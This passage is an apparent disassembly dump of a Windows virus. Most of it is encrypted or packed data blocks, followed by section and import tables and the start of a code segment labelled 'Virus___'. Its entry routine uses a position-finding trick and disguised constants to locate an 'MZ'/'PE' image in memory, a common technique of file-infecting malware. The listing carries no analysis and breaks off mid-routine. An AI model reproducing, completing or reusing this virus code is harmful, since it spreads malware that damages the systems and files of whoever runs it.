0ABBDD2Dh dd 7E1ECAB3h, 6EB3C57Dh, 26EDF543h, 5C86F525h, 5ABBDD09h dd 9E812821h, 30091361h, 733EAAB9h, 4F76F571h, 0A47B116Ch dd 43F1795Dh, 15056Ch, 0A6F339B1h, 0BE0A68B5h, 4BE92901h dd 9C925EBCh, 63590D95h, 0BD66B081h, 0E376EDF1h, 0D6306D3Ch dd 0C2205056h, 23AA8161h, 0BDB53331h, 2813DC6Fh, 4EC92850h dd 0BA33DC9Fh, 9CB412Ah, 0AA9BA4A7h, 0B1157312h, 0DCA77B6h dd 5129C28Fh, 113ED619h, 523ABB04h, 0B9C50576h, 0C2DC8718h dd 4A336951h, 7BDADC04h, 7FCDD9BDh, 764C2892h, 0CD7AAC46h dd 0FDC3301h, 6386B5D7h, 117AF307h, 73F41963h, 0FADD5676h dd 26FCA63Ch, 0BAD6F250h, 4D424F9Bh, 3FDF2307h, 7EE232A1h dd 70EFCD24h, 792EA2FBh, 2A34BC29h, 0B6FD1C03h, 0FB8CF363h dd 0E334C15h, 1E03E813h, 13D7C9B5h, 1154D576h, 9A5403A9h dd 7ED02EB7h, 1CD32B1Fh, 5C4CCEC8h, 0D79F5858h, 5BF74929h dd 1642D294h, 635C1914h, 3455F0D0h, 17B4C80Ch, 8DCD257Dh dd 87DECC85h, 0E2AF85BEh, 0A2B3CF58h, 0AF54DA4Eh, 0BEA730FCh dd 0AAC7B2B5h, 7CCFCEBBh, 4FC1CBDh, 0D311087h, 2C17B7BDh dd 55353B75h, 5ADA8D2Eh, 7E34316h, 607E803h, 0C650D986h dd 8ED124F9h, 42B4C82Bh, 5BB2C126h, 3F528677h, 70F5EAB2h dd 0FE17625h, 0C966318h, 0BAC01853h, 67B1ED64h, 7C5B3037h dd 15DFFCA0h, 3436A473h, 0D0D5397Ah, 0A575E77Ah, 0CD8ADC33h dd 4BB5F567h, 60101D72h, 69CDA341h, 9CE2B7F8h, 53F338C6h dd 0AF8F149h, 4DD7CCCCh, 980E8C2h, 4B799462h, 0BB51509Fh dd 3485CA0Ah, 7A66F0BBh, 1AE79800h, 6217EC77h, 9200EB64h dd 3FCF6B35h, 14DA376Dh, 0C429D318h, 77D97305h, 65438074h dd 7303F376h, 0E23EB17Ch, 64DCB852h, 6A9CAF69h, 3ADEE05Bh dd 4EC51214h, 0ED4BBC54h, 0AC15DD40h, 2EAB5712h, 4D4B19D4h dd 20482C6Dh, 34145987h, 176BC6F3h, 0EFCF1752h, 8DCB2442h dd 7D250103h, 0F6AFC899h, 4F54F6E4h, 4AABD45Ch, 0AEBEDB19h dd 5B0E52DAh, 55522F33h, 6BDEDF5Dh, 5FF0CA7Dh, 625D2065h dd 26F47478h, 0F1DAC2E4h, 531A8A00h, 576FD1D1h, 34D676B2h dd 3BDFCF1Ch, 1C60D885h, 68DFEF54h, 0CBD4C3FBh, 2603E015h dd 5E33D304h, 4F950B7Bh, 0BAFFC162h, 4D17EA77h, 3A9F1312h dd 0EB1DEC2h, 66CEB999h, 51FE81Fh, 0D4FAA242h, 88CC12Bh dd 1E0CF552h, 5BFDFDA1h, 0B9937D73h, 70DE2F41h, 66D1291Ch dd 18F819C4h, 5D148CB0h, 75CD591h, 5B13D611h, 0EEFBEDFFh dd 42A5EC73h, 33A2D818h, 681EE87Dh, 0F615C670h, 7DB10D51h dd 0F075F57Fh, 7F8D0061h, 5DDE1C03h, 69F3EDA0h, 0BDC85446h dd 7BCAF15Dh, 1A804B82h, 88FF71B4h, 0C9160A64h, 6E0D2282h dd 32328D7Dh, 0C4E85F13h, 0FA3129C6h, 4DEAF15Bh, 0F4AB815h dd 8B161D85h, 3CBF175h, 35D6F01Fh, 272C1960h, 0BF6305A6h dd 8BA5615h, 4C7FE34Dh, 0C5F6736Ch, 5DC88922h, 5D415D7Dh dd 0FFDF716h, 0BE5FFB2Fh, 7C80C72Dh, 0B9BEF552h, 86DDD603h dd 336AE871h, 14CFCB50h, 5631B900h, 9EBF7151h, 1FEA197Ch dd 4EFA142Eh, 0A33DB303h, 5C1533CDh, 3A1D091Bh, 4AF9E3BBh dd 0BF0EFA1Bh, 0BCA00ADh, 223762Ch, 565B83D2h, 9348CB15h dd 2B95E45h, 0B507787h, 64707D30h, 61EE92A3h, 1DD03D20h dd 612AD85Ah, 6A2A1053h, 0C0488A7Ch, 0BCD17578h, 2A32CFFFh dd 6FDAB1DBh, 82D52576h, 2B88CB51h, 0AE0FFB4Eh, 5FFEBAA1h dd 461FC13Ch, 0FED96BC9h, 95EDD6CDh, 1E34B941h, 44DD3051h dd 671810C5h, 6D5A1158h, 0A76CFF9Dh, 6203096Fh, 0F4A9E101h dd 5BB4E561h, 0AA1EA7Dh, 6CB89534h, 642D290Ch, 7E01E88Bh dd 1FEE797Dh, 27363BD1h, 72960AA6h, 1B6EBFBEh, 425847E8h dd 1DF42D22h, 645DF770h, 0A0EF2ADFh, 7E9C713Fh, 0F2E385DBh dd 8E408D04h, 40C1383h, 52998CC5h, 5027439Bh, 0F6B73F02h dd 0EFA500A2h, 4FD11D73h, 345A1210h, 7D06EA4Ch, 31035E13h dd 13AEF140h, 5F1F5B62h dd 0F4FC0C5Fh, 0F01915ECh, 707BCD41h, 0FFE7DE5h, 6896A7C6h dd 852D1CE7h, 0BFD99312h, 17D48Bh, 0D54D2E2Dh, 98D5CC85h dd 6BF64FFDh, 53409810h, 0B88D7D17h, 36288C2Ch, 977F0283h dd 42EACB17h, 0F2E0BD16h, 1B32DD5Dh, 0F2F6DFEDh, 0E88CBB02h dd 145AD335h, 4DDE0D78h, 6C08CD0Fh, 67FAC92Bh, 1290CF53h dd 41767A70h, 4CF818CDh, 0EECC1A5h, 0D063D200h, 1AA98EB8h dd 0C1E6554h, 7431EE7Ah, 0C9316540h, 2BCB97B8h, 6378E254h dd 6EFFF502h, 0FDCD1D0Ch, 0E6A8C704h, 3C83F91Fh, 507B9214h dd 80FB8371h, 0A3B35E3Dh, 5E030377h, 72BBE20Fh, 661EF8B3h dd 64B3EA7Dh, 61FEE943h, 0ACFEA87Fh, 62F50D72h, 5AEFB076h dd 0A472FD1Dh, 4D4AF370h, 0BEF2280Eh, 2BCAE903h, 5EDD032Bh dd 7EBBCF1Eh, 111ED9B3h, 405AD3DAh, 0FA356D0Eh, 0D074B951h dd 0BB774907h, 0C8FB3ABAh, 78232A8Dh, 6487521Dh, 0BF5163C0h dd 584C1049h, 263E116Eh, 4C9D1B4Dh, 7A40A558h, 75C9C506h dd 0D112F908h, 9BFDC90Ah, 9A9131B7h, 0C287A6BFh, 173FABD6h dd 8E8730FCh, 446273DBh, 47364510h, 0D26EC98Fh, 0B2A8CD0Ah dd 0A2FF2425h, 6C439165h, 747B22CEh, 0EF9D30F5h, 0A87B8125h dd 0B4DA173h, 6F8E0CA5h, 0DF821E48h, 1398217Fh, 218B602h dd 70B8C89Dh, 0AAF7161Dh, 934C3D8Fh, 42F05B0Bh, 989FC649h dd 0FC3B4830h, 0F73A20BAh, 8331891h, 40746AC3h, 0D8E45450h dd 79306E4Bh, 74461183h, 0D902ED31h, 0FCDC60F9h, 543B17B8h dd 65853210h, 4FCC59B3h, 0AA28F143h, 189E634Fh, 6532C9DFh dd 2079011h, 0E720E0Bh, 0B1AE94F7h, 0D91E8B5Ah, 499B69EDh dd 5691894Fh, 3ACBCC86h, 919DE45Fh, 0D985BA4Ah, 69D724B3h dd 63FEBCE3h, 0DE17F212h, 6A88620h, 0EAA2EF0Fh, 43D0E520h dd 0F0F6D1ADh, 1F274303h, 0C6939BC1h, 0A52B7EF3h, 2633BD31h dd 2BBE6EB9h, 2BCE6929h, 2BDE6919h, 5E420309h, 9CBBF571h dd 4E1EE6B3h, 922B227Ah, 0AEB65890h, 0A28C3501h, 1C88F1CEh dd 0A2A9CDCDh, 0E798007Bh, 0A43D3E61h, 0CE3B7B5h, 41337A15h dd 2CE7F544h, 0BA3D0EA2h, 0E7B3265Eh, 473AF401h, 7E99A5EDh dd 53843007h, 745AA6CDh, 5A0AE7Ah, 0D879EF88h, 0BF5A65F1h dd 340A9313h, 0F11D3B62h, 47B0F374h, 0F5EB5D9h, 311EC875h dd 3389D785h, 0B6D0CA55h, 0C35EC602h, 1C97CD7Bh, 21502CEh dd 1561B6A9h, 909CB1CBh, 482FBC34h, 0F8A07045h, 9FDFC0F2h dd 64135396h, 0DC2D44EBh, 4D309D4h, 44AB0599h, 0C7777770h dd 1EA59994h, 0E82E9E6Fh, 8EFEAAAh, 11E9357h, 0EC9D3D5Fh dd 0BC5FF129h, 1EAC1783h, 6794A144h, 0F6FCA4Bh, 2FA9AABh dd 54F38A32h, 3A465FD5h, 8390CCBDh, 0F9BBBD08h, 791E8979h dd 79459F04h, 0CCABDFA6h, 4BFDF0Fh, 948B0255h, 50DA03C2h dd 1031DC6Dh, 6C36B7E1h, 0EBDCB0DFh, 1B0C7263h, 8592AE73h dd 52D96C10h, 7E9AF97Dh, 8CF88D3h, 9D52F1F3h, 4EB17804h dd 3629C413h, 5F58C04Bh, 0E7137ACEh, 2BFD0738h, 3ECB8D63h dd 49D0E333h, 0CF56B17Dh, 2AB854DAh, 95039998h, 1180925Ah dd 0C38BC27Dh, 7B17F143h, 2E4B6786h, 7E74DB5Dh, 4752B0C6h dd 88658D7Ch, 0EFCF3D4Bh, 0E81D698Ch, 0B26B065h, 369ADB15h dd 1BFC6DF4h, 0BF5EDEFBh, 3A24F2DEh, 6B9ADC03h, 0ACD67390h dd 0D00596E6h, 422B77D7h, 6E8A862h, 6FD2CCE3h, 0BE4D618Bh dd 6F020C05h, 63F7C4D3h, 0EB8946D6h, 8FB64563h, 0D3DA0B59h dd 3D0316E3h, 709A503Bh, 4D5830CCh, 0C43FCC0Bh, 686664A8h dd 0C9153B0Bh, 0F71A337Eh, 0F9EEE053h, 74DAB81Ch, 14511FF3h dd 0DE90FE30h, 70AF9647h, 0BF16C94Ch, 0B1DBF829h, 5EE68E92h dd 22511F9Ch, 39679651h, 0E87E962Bh, 84C64386h, 4F681D51h dd 614999F3h, 0A7EC7E71h, 106461E8h, 3FCE45A2h, 635AD04Fh dd 0DE36494Dh, 0C81AB873h, 0B37A644Dh, 0A68A89FAh, 0E7AB53F6h dd 6E8A2BA0h, 0B9BDF5h, 0B2D96A62h, 8486C778h, 6E4D5317h dd 54D1122Eh, 8E8E8321h, 0E9F3ACDBh, 0C3BAC5D3h, 82BCE0D7h dd 0EF5D5B65h, 0ED69F0D0h, 5113572Bh, 0EF2EF251h, 503CEF53h dd 0D34E2A10h, 1FF71456h, 3732F9B3h, 0FA694E79h, 6D23D580h dd 0F379A150h, 0D127F25Bh, 9DF64187h, 0A3CC7373h, 0B4D8D0BDh dd 22A4206Fh, 0CC85B20Eh, 0C2E03561h, 75CE559Bh, 420E5A10h dd 0EE295618h, 35B311F4h, 2B22FEDCh, 6AD78D41h, 0B4AE05A1h dd 0F854834Eh, 671040Bh, 12CEAEB9h, 71077775h, 0C6D9F2C8h dd 7BF760FDh, 0AF13172Dh, 3F96577h, 0CFE675C9h, 6C1C0A5Fh dd 0D680F57Bh, 5D2D9010h, 2CCA651Bh, 42180A06h, 0F7D6FECBh dd 8D90848Bh, 6D2EA734h, 2FB7F8B1h, 5E6F5E6Bh, 0C54BEBB1h dd 0FDDF3865h, 0AAD31A71h, 68F8B017h, 729B242Bh, 0FC19BBA6h dd 5CE516B7h, 0FC095604h, 0EAC371DDh, 0E42EB04Bh, 0BED19D64h dd 3E32D35Dh, 3FB88213h, 97F99571h, 447067C7h, 60235DD6h dd 7D50A9CEh, 510CEC1Ah, 5695FB95h, 61D8E3E0h, 122DD0Eh dd 675C9A70h, 0F659E07Bh, 0CA001FD9h, 6FBBAFD3h, 37630D72h dd 4E3085B4h, 84E43983h, 71323BE3h, 0D3080E63h, 0E4F10556h dd 37A5BA49h, 3D15FE8Ch, 0E986BCADh, 5E1A3E04h, 7D7FB8A1h dd 1F707FD9h, 62C8421Ah, 8485866Bh, 2BCE51F5h, 4CEF70FEh dd 0C86BB32Bh, 70E64312h, 0CE0BAF64h, 0AB481B3Ah, 14817DC0h dd 8C4D7AFBh, 869AE844h, 0DB1F404h, 47799D4Bh, 52B21E62h dd 5AAB577Bh, 914E9603h, 0FA919D09h, 0F16383CEh, 0D933335Fh dd 2F594329h, 0C1ACA15h, 0E364B6CFh, 0B3A9462Bh, 1A3F9777h dd 49DFD802h, 43148E44h, 0CCC4C578h, 7A1BEA94h, 0C5A6B759h dd 0FC74C895h, 3AFD0220h, 405F7A0Bh, 0C4D1F141h, 3D6D7998h dd 231CC96Ch, 2F6CF1FCh, 5EC78C0Fh, 0C0589A70h, 85E82203h dd 0AA1A38C4h, 8245B3C5h, 0BF85860Bh, 0AC56F2A0h, 67BE9BEFh dd 6F9B0E98h, 975D1718h, 5012337Ah, 94B36BEFh, 5F6BC37Bh dd 0C121B45Bh, 74F17F03h, 97F0A414h, 668F84AAh, 9A24EEAh dd 86CE9E84h, 0EEFE5552h, 7F8E7496h, 2E30D3E6h, 0F1158C5Dh dd 0D81C6964h, 0F302257Ah, 9515F740h, 4EC4725Ch, 24293C1h dd 75E8761Bh, 0BBAE17BCh, 60ABF050h, 781CCFBCh, 469E9935h dd 0BAB117ABh, 5628E3AAh, 4FCA9027h, 0A5519748h, 0BBAF9226h dd 98D7CC59h, 89B1FFD2h, 147FD658h, 4AB54943h, 0DABE29D1h dd 7E9695FDh, 32FA82BCh, 1A20B534h, 23E2D161h, 0BE11337Dh dd 2B26E95Dh, 0BA4100B5h, 86FE6EADh, 0AD72A889h, 628D0DE1h dd 0BCA6B0D9h, 3C2ED35h, 0C371014h, 6CD71D50h, 30545EEh dd 2837DC5Ah, 7FE41201h, 0AA23AA2Ch, 0C139D331h, 0A72367BBh dd 4B5C37Ch, 236328Eh, 6036C84Ch, 67F90B72h, 6AED3C2Ah dd 58E0B751h, 6F05D1Dh, 0C3F50D6Fh, 4C11D220h, 0EB3350Bh dd 5BE13D30h, 5CF1F423h, 6E2F69F1h, 0DD620B9h, 34E0DF02h dd 0D7734641h, 0A81DE5C4h, 7003C289h, 0A2DD9360h, 0E1D921h dd 7217CE73h, 5D03497h, 0B4315318h, 8432CA2Bh, 7D071A3h dd 0F44C09CAh, 11D262A2h, 34AE8B63h, 14371844h, 0BB1C1DDFh dd 874A9D4Ch, 0EEFDD33h, 878EFFB7h, 2EAE53DDh, 3DC8DE3h dd 0A02931Eh, 1E80B314h, 93B8749h, 42D208FCh, 96C8F12Ch dd 0D7D29917h, 86E98487h, 538DDEBh, 0B9D8769h, 56275B09h dd 2A90DE40h, 0D7274DA6h, 3777E527h, 543B08D3h, 7E92D2A8h dd 498A75B8h, 0D91B1994h dd 4395F211h, 0DA761BA4h, 0AE42A86Bh, 497FB536h, 4A3B345Ch dd 0B10EF1E0h, 0C4F4F4C3h, 7F0F94CCh, 0B21B565Bh, 7C8CFEBAh dd 989E113Eh, 69FB5964h, 0D72FAC8h, 4BCC1D4Bh, 0AF27E25Bh dd 0CC0E33CAh, 0E48933ADh, 0CE1BA592h, 4C92B1BDh, 0BE9D28D9h dd 54FEE3C1h, 4A212F09h, 5E3366A8h, 0BCF75B64h, 6B58F77Ch dd 234D05F3h, 64B2F2A9h, 0DDE263CEh, 0D934C6F6h, 86D9FF68h dd 79E1435Bh, 0B1E0F46Bh, 2EA6F8A8h, 7359E957h, 0B61F7EE0h dd 0C3C55F3Ch, 0D40271D4h, 55B2E672h, 6E756232h, 54F70DC8h dd 19777321h, 1A1819B1h, 5E07D2C3h, 5B80CA12h, 22FFDF01h dd 8FF1842Fh, 0F43233FCh, 13BB64D2h, 298672FFh, 0F641C31Ch dd 55173236h, 31FE705Dh, 0F3F87AFAh, 6DE33364h, 41620977h dd 0C0D06515h, 0E2EAB40Bh, 0EFD26841h, 7CED881h, 0AAE42BE6h dd 96FEBF86h, 0EA3EFEEEh, 53FF9B7Dh, 0A5C8C856h, 4D1E9D6Dh dd 9244E140h, 8FE3D9Ch, 502EE1B0h, 7F6F2405h, 0BF2C3C52h dd 3C423F02h, 0BEFBD941h, 21DB8BB5h, 0FEB14C6Fh, 2DBEB50Fh dd 0C0047CDh, 8EE28D6h, 82A8BE13h, 0F3B7CDDh, 68A8BE17h dd 2D02E4B2h, 4EB130D9h, 621CE997h, 0A3D4646Ah, 0F46DF29Dh dd 0E06F5300h, 0C5DEECF2h, 5385B631h, 569BDB3Dh, 80C4BEF3h dd 27994360h, 111D3D88h, 0EDBC0A2h, 4238D256h, 0AB03F270h dd 0A4F526F2h, 0EB6B3304h, 1E20876h, 0B3E2496Dh, 4917232Eh dd 690746D4h, 74C8610Dh, 1462691Bh, 0BEDAC051h, 0BA2C3651h dd 0E2DBEDDh, 2A89542Ch, 4BE135B5h, 0AB3B6604h, 0FA6536A1h dd 7CDA1A19h, 0EECE2DF9h, 25DADC1Fh, 0BA2FC95Dh, 0FDAE58Dh dd 0A29C67F4h, 62D903BCh, 30CAD669h, 8659D72Ch, 6EE41DD8h dd 3CC6E6B1h, 2B6CC4D8h, 0BF95E91Dh, 0BC21125Dh, 0A9F422EDh dd 0DB5DC09h, 0BA00FFF1h, 0BA30C341h, 0CF12AC22h, 91B64073h dd 2DF13562h, 4BFF45A9h, 0F0D576B9h, 6ACC6D27h, 0B4EE3146h dd 0FA0798A1h, 1D75FE67h, 7CB0CD71h, 9CD32B5h, 0DEBDC0C1h dd 4FD2C831h, 491A3101h, 3DE0D549h, 2CF9AD7h, 0E9F51F55h dd 2E1FF8Dh, 0AB5BED89h, 0A27C10CEh, 0AEF7067Bh, 0CFDCB729h dd 0A2CFA869h, 98A0655Dh, 906D572h, 55E5FB19h, 1D40E887h dd 7A8DB2C8h, 0D25D825h, 20C4C980h, 391CD67Fh, 6FF2F905h dd 63424134h, 67CE1D6Fh, 48CB1C7Dh, 5C562543h, 0AF7EE4B4h dd 0C06A14ABh, 0EDCA734Ch, 0FEE5468h, 0E84CCCC6h, 0C197006Eh dd 4728CC53h, 0CB14B64Ch, 0F00E2BFh, 1A587054h, 62E9BC32h dd 0F7EBE4Eh, 6227E00Ch, 0F8B44916h, 4D7A6C1Eh, 6767E25Ah dd 0E4BABC4Eh, 42E74A5Ch, 6E8235E9h, 0A439D41Ch, 0A8CED170h dd 938AF99Bh, 0C240F416h, 7D1F992Ch, 0E7B3EC26h, 0F032EB7Fh dd 51289Bh, 0F28E3651h, 46B5B67Fh, 5B95E4A1h, 0B70E33AEh dd 0A4559EEFh, 530AFA87h, 0FCA55F79h, 4733A015h, 0EC81D110h dd 0BA7FA416h, 6DDE946Ch, 74E5486Dh, 0C1666613h, 0F2ADA640h dd 0C3E7FDEh, 94703BA8h, 5E173DF2h, 0E017FBDAh, 0D3E9DE13h dd 1E148D47h, 9EF24835h, 3360862Fh, 6A97CC71h, 92F052BEh dd 92FD9C79h, 0D246617Dh, 81C45CE3h, 78F0FC15h, 13FB1D79h dd 14A2C3F9h, 360EAA8Fh, 733602B4h, 4918AE91h, 160EFE5Ch dd 5939203Eh, 5ACE294Eh, 0CEBAD2CDh, 6DCEB1F8h, 59292DFAh dd 81E60E4Ah, 9F438265h, 92036753h, 0AA32ABE5h, 5E6F5104h dd 0F03D2D74h, 9B9C264Dh, 8B0B511Eh, 6FEE21BBh, 0B6D30C70h dd 0AA434154h, 0B33E5F43h, 792520A1h, 91D01A3h, 620A96F5h dd 1F6A3142h, 3C2071BAh, 5C40BF24h, 5A3425A4h, 7E40A35Ch dd 577217A3h, 0AEAE013Ch, 66CF8E0Eh, 0CA3AA1DDh, 434ABE3Eh dd 9C3E2886h, 0B6412EA1h, 7A4022C1h, 0BBB0D823h, 0F99F15CDh dd 3B2029C1h, 39C223C0h, 5A322585h, 4AC2E227h, 3D83C0DDh dd 721C4C8Bh, 0B344A0C4h, 6C3A8F65h, 5C5911D0h, 0E98CED37h dd 535E836Ch, 575E1A4Bh, 74E8029Dh, 60A3B6A0h, 0A33FF1BBh dd 1E47B6Ch, 4DDC6E5h, 9C171321h, 0FB6479F2h, 181222ACh dd 2236DD73h, 9E40BD4Fh, 7E3D22FBh, 2B2AEEA1h, 5E3600A0h dd 0A1BA29BFh, 0A2212AB3h, 0A40A2813h, 21380579h, 0EA093F31h dd 723409BDh, 0E2313131h, 9E30B2B4h, 0BB2039F5h, 0E2351C31h dd 0C014D64h, 6C0EB875h, 0C0F03979h, 7AEDF3BDh, 2EC6F85Ch dd 8783919h, 9C104B4Ah, 0BF292815h, 0A096D313h, 76C511CCh dd 0A29CA0D1h, 0BD22A372h, 62BEBD22h, 43B3B0FDh, 2F32875Ch dd 3F78B1C4h, 0C9DCD15h, 0E8A298EEh, 296C0179h, 0A63C3941h dd 473A01E5h, 0ECE7EDB8h, 0AEE0A977h, 7BBAC2BCh, 0ABB2042Dh dd 0BA2B0305h, 0B5FE5431h, 0B923690Dh, 0AD33F1CCh, 0BB1EEEB3h dd 0A8B3E17Dh, 0EC21943h, 72328855h, 5D0909C7h, 4D350150h dd 0AB2339D5h, 0AC2EED47h, 0BA33313Ch, 0BCE63541h, 22382D61h dd 0AFC3AEA9h, 0B61E52B3h, 0B3B3557Dh, 0ABFE4D43h, 0AC2AA889h dd 622F0DF1h, 0BC2DB0F9h, 0DA20EDE1h, 0D633023Ch, 0D2FD0D41h dd 1A7FDFD7h, 104D2943h, 6855B754h, 388A1BB5h, 0DD3AA1FBh dd 9FBDE2B5h, 4A2EC0A4h, 5CF773A4h, 0F7742D7Ah, 96BDC531h dd 3C3E6B5Ah, 0A585089Dh, 0B327B860h, 21AF3AA1h, 0A221B434h dd 2A50B735h, 0E2B2E247h, 0A9B0D834h, 9E5EB244h, 23384989h dd 0F81F3D39h, 0AE4E954Bh, 4D00AADDh, 0AB20A5A9h, 9DF2EDBCh dd 0AAFF155Dh, 72B1D9ABh, 4BB876BCh, 676095CDh, 2DC2D985h dd 0BEFD071Dh, 23226E25h, 245D31D5h, 2D92D939h, 0ABBD38C5h dd 2BFD3E2Dh, 5EDD032Ch, 96BBF92Bh, 55D5CEB4h, 62282121h dd 685BA044h, 0AA9D900Ch, 76259DA8h, 558BD2B5h, 4AE7A5ECh dd 6926C2ECh, 2055A15Ah, 0A3110F31h, 9643BCF4h, 2E0E1505h dd 0A3026F4Dh, 0A38822A9h, 5EFBA04Fh, 5E0AD54Dh, 1ABAA645h dd 0A6AEBA15h, 6A0A5095h, 1EEEF25Ah, 5EF50AAFh, 0EE265D65h dd 0AE26E2A6h, 0DA71E2B5h, 0AA017187h, 0B8233535h, 0FBEB1A61h dd 7E966FE3h, 628E28CEh, 4551B0F1h, 4ADE7DB4h, 7FAF4BCh dd 54331DC2h, 0D5CD6D8Dh, 0CE2319E1h, 0E7507261h, 49F236BCh dd 30F628FDh, 0A29A0B19h, 720523C5h, 0A69E2CFDh, 753A58BDh dd 0A53685FCh, 0A981F6BDh, 5D510D0Dh, 30C2A1B3h, 9E3B3FCDh dd 0B3846545h, 0E3842D05h, 4EB73BB5h, 0E7578024h, 0ED8055F7h dd 0BA42F729h, 0A8F8795h, 0B997895Ah, 9ADB84E0h, 4047C4F5h dd 283C3B80h, 1E583876h, 0F1ACD0E5h, 0A8002030h, 0C91BB5A0h dd 0DA4B51C7h, 87FE86A2h, 33B43324h, 0F3519823h, 0A09C7C69h dd 0B9FB26F6h, 0A4ADB2Dh, 27626CA5h, 627BA19Ch, 0C2B021EBh dd 5BF6564h, 53420E70h, 0FAD25E38h, 0F852E329h, 94672137h dd 19595AC8h, 5D42F0DBh, 0FDCC4FC4h, 9A1B53F9h, 40C3AD56h dd 0B1350961h, 0C94A8B48h, 0DF7F4262h, 0C25941ABh, 92501BF1h dd 14F84025h, 7FFF7630h, 2C7D6AA5h, 3A948CB7h, 3E60364Ch dd 0B1A5347Fh, 20C3DDB9h, 0E342DF9Fh, 5CEAF47Dh, 9BB18E81h dd 0D20E1A6Ch, 91F154D3h, 57E74CF5h, 26486C12h, 74B084B6h dd 8A9CE1A6h, 9A8501C4h, 51B68C71h, 26477004h, 0F242FB13h dd 93BBC440h, 9B98CE8Ah, 42515930h, 8F7A83E6h, 842A188h dd 31A96879h, 0A540AB45h, 407EC173h, 0E7015509h, 9B3EE3F9h dd 0B055BA5h, 3E6C2B68h, 923FD175h, 7E42FBADh, 27F5466Ah dd 5830D7CEh, 0DD425C22h, 0B3DE15F2h, 0B135F983h, 1B5370EEh dd 1E2036F5h, 0A929D37Eh dword_41E000 dd 889D6CD9h, 0D09CE125h, 0C941D51Ch, 200D65A0h, 5711419Ah dd 140321E9h, 0D9AE7C80h, 0DD4A4E8Fh, 0E8422414h, 1133AD04h dd 935E8AF9h, 75F92156h, 0D97EF484h, 8004BC31h, 9BB0E5FCh dd 5ECE1A72h, 354D3DF8h, 9B6459D6h, 53AE9B1Eh, 0CB249460h dd 0BF4A762Eh, 0FD7F03B6h, 4B0941E9h, 93C8AA04h, 9AEBFCF5h dd 6D93A7E4h, 79883329h, 88427EADh, 0D83CB456h, 512FAC33h dd 0FBFAEDAAh, 0E60B48C0h, 19254B5Eh, 17450BDDh, 0D75E80D9h dd 60C92101h, 58EF44F5h, 0A042DA02h, 11F102F9h, 53B32622h dd 94C2E424h, 7DCB386Bh, 4B42E240h, 0BB0695E5h, 0A80A703Ch dd 0D2ADEE23h, 566D25A5h, 7242A989h, 82923BBDh, 169CAF82h dd 1F7F26A2h, 0D03DE360h, 5142DCCCh, 4D0B178Ah, 13730514h dd 88132142h, 53E8B17Ch, 0D841AEDFh, 0C068FEE5h, 0CFA06123h dd 3632153h, 6C9C30D3h, 7342EDC6h, 0BF1931EEh, 9B174D7Ch dd 6DF41D6Fh, 86D977D7h, 9E42F836h, 0DD6461C1h, 9B5A5A28h dd 81A707FFh, 2BEDFB3Dh, 6A841AA5h, 682D0322h, 7CDE077Ah dd 0C9B421A8h, 0ABC7B2BFh, 3A64C5E5h, 9C7A73F7h, 0F29C45A1h dd 52B7F6BBh, 591461F9h, 65DFFF64h, 756E882Dh, 0FD0270C5h dd 0D12A85E3h, 7D15D78Bh, 9DC67006h, 7ECED265h, 0BA9DE415h dd 0B782C5D8h, 89DF0506h, 0BBE38928h, 0F7C8E1FDh, 5B0CEC33h dd 919FED38h, 19E56E04h, 36082F8Fh, 8F438005h, 0BA5026AEh dd 99C5C7A4h, 924E2044h, 9B2553A6h, 0BC45A606h, 9A4D5DA4h dd 79420693h, 9B232626h, 8D455E90h, 70642048h, 0BC420EE2h dd 0F6FEBABDh, 4D40E144h, 192EB13Ch, 1B4B58A4h, 30B8Eh dup(0) ___ ends ; Section 2. (virtual address 000E1000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E1000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _rsrc___ segment para public 'DATA' use32 assume cs:_rsrc___ ;org 4E1000h align 2000h _rsrc___ ends ; Section 3. (virtual address 000E2000) ; Virtual size : 00001000 ( 4096.) ; Section size in file : 00001000 ( 4096.) ; Offset to raw data for section: 000E2000 ; Flags C0000040: Data Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure data ; Segment permissions: Read/Write _idata__ segment para public 'DATA' use32 assume cs:_idata__ ;org 4E2000h dd 7C801A24h, 7C81CDDAh, 0 aE db 'Ïe',9,']',0 align 10h dd 0E2050h, 0E2000h, 3 dup(0) dd 0E2079h, 0E200Ch, 5 dup(0) aKernel32_dll db 'KERNEL32.dll',0 db 2 dup(0), 43h aReatefilea db 'reateFileA',0 align 4 dd 69784500h, 6F725074h, 73736563h, 4D4F4300h, 334C5443h dd 6C642E32h, 6Ch aInitcommoncont db 'InitCommonControls',0 align 1000h _idata__ ends ; Section 4. (virtual address 000E3000) ; Virtual size : 000D5000 ( 872448.) ; Section size in file : 000D5000 ( 872448.) ; Offset to raw data for section: 000E3000 ; Flags E0000060: Text Data Executable Readable Writable ; Alignment : default ; =========================================================================== ; Segment type: Pure code ; Segment permissions: Read/Write/Execute Virus___ segment para public 'CODE' use32 assume cs:Virus___ ;org 4E3000h assume es:nothing, ss:nothing, ds:___, fs:nothing, gs:nothing dd 56C6917Bh, 4F2D2h, 550BBh, 0A8172h, 0 ; =============== S U B R O U T I N E ======================================= public start start proc near var_1C = dword ptr -1Ch ; FUNCTION CHUNK AT 004E3265 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053B16A SIZE 00000005 BYTES ; FUNCTION CHUNK AT 0053E76B SIZE 00000062 BYTES ; FUNCTION CHUNK AT 0053E9E1 SIZE 00000048 BYTES ; FUNCTION CHUNK AT 0053EA2E SIZE 00000006 BYTES ; FUNCTION CHUNK AT 0053EA45 SIZE 0000009E BYTES ; FUNCTION CHUNK AT 0053EB19 SIZE 00000023 BYTES mov eax, 0 pusha or eax, eax jz short loc_4E3086 call $+5 pop eax add eax, 53h cmp byte ptr [eax], 0E9h jnz short loc_4E3041 popa jmp short loc_4E3076 ; --------------------------------------------------------------------------- db 0DBh, 2Dh, 37h db 30h, 4Eh, 0 dt 9.2233720368547758075e18 ; --------------------------------------------------------------------------- loc_4E3041: ; CODE XREF: start+18j call $+5 pop eax and eax, 0FFFFF000h xor edi, edi loc_4E304E: ; CODE XREF: start+5Ej mov bx, 5A19h add bx, 34h cmp [eax], bx jnz short loc_4E306D movzx edx, word ptr [eax+3Ch] add edx, eax mov ebx, 44E9h add ebx, 67h cmp [edx], ebx jz short loc_4E3074 loc_4E306D: ; CODE XREF: start+45j sub eax, 1000h jmp short loc_4E304E ; --------------------------------------------------------------------------- loc_4E3074: ; CODE XREF: start+57j mov edi, eax loc_4E3076: ; CODE XREF: start+1Bj jmp loc_4E3265 ; 